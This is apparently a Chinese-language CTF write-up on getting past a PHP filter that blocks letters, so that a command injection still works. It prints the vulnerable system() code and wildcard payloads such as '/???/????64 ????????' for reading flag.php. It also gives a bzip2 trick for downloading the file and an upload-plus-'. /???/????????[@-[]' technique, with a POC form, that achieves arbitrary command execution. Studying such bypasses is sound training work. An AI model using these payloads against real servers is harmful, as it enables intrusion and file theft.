0x00 序言
總結下命令執行繞過字母數字的一些小技巧。
0x01 原理
管理員為了防止任意用戶輸入的惡意代碼導致的命令執行,在用戶輸入處加了一層waf攔截,waf可能是通過正則匹配過濾了字母,也可能是通過正則匹配過濾了字母和數字。
0x02 過濾了字母的繞過方式
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
- 代碼審計
過濾了字母 分號 反引號 百分號 和 %09 %26 <>
但是可以觀察到其實沒有過濾空格。
0x02.1 使用 /bin/base64 xxx 進行繞過
Linux的bin目錄一般保存了所有的二進制命令, 正常我們輸入的cat xxx啥的 其實也可以通過/bin/cat 打開文件,而哪種命令打開文件還能帶有數字呢? 可以嘗試使用 base64 去打開文件,將文件以base64編碼輸出
- base32
- base64
雖然這樣輸入依然有字母,但是我們可以通過通配符?去繞過,而且因為有了數字,匹配的會更加准確
如果直接使用通配符是不行的,因為這在Linux無法通過????去找到命令
這里因為我用kali測試的
測試過程中發現居然還有別的目錄被匹配到了,笑了
改成32進行測試,發現也不行
服了
測試成功的一次是
如果全用通配符的話 會匹配到別的東西
如果只改回一個為字母,則能正常匹配,至少能正常匹配了,kali直接使用/bin/base32 去匹配的話可能有問題。
應該是如果要執行命令的話一定要絕對路徑,因為指針指向的可能是絕對路徑的地址,所以這里要想使用通配符的話必須通過/usr/bin/base64去執行命令。
這里因為測試的時候發現/bin/x11/base32 可用所以直接
但是這是kali。
題目的正常解法可以直接 /bin/base64 flag.php => /???/????64 ????????
可能是因為題目服務器配置比較干凈吧
了解原理就行了。
0x02.2 使用 /usr/bin/bzip2 去壓縮文件夾
可以發現我的Kali東西比較多。。。
發現又是x11
不折騰了
常規操作,如果是比較干凈的linux系統直接 /???/???/???2 ????????
最后????????是 flag.php
壓縮后 直接 訪問 對應的url即可比如 訪問 https:/xx/flag.php.bz2 可用直接下載
0x02.3 使用.去執行sh文件
非常妙的思路,linux中.相當於source,可以直接執行sh文件
不管有無文件后綴名,都是根據命令來選擇打開文件的方式。
而且因為php文件在上傳時 會在服務端/tmp目錄下生成php?????? 隨機六個字母
所以可以通過 ?c=. /???/????????[@-[] 去進行匹配
[@-[]也是一種通配符,匹配方式是匹配@~[的范圍,查ascii表可知道 正好是大寫字母
然后我們生成一個提交表單
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST數據包POC</title>
</head>
<body>
<form action="{.url}" method="post" enctype="multipart/form-data">
<!--鏈接是當前打開的題目鏈接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
向指定url進行php文件提交 同時?c=. /???/????????[@-[]
在php文件里寫入
#!/bin/bash
ls
多次提交,可實現任意命令執行。
繞過了字母和數字的過濾方式
- 使用.去執行sh文件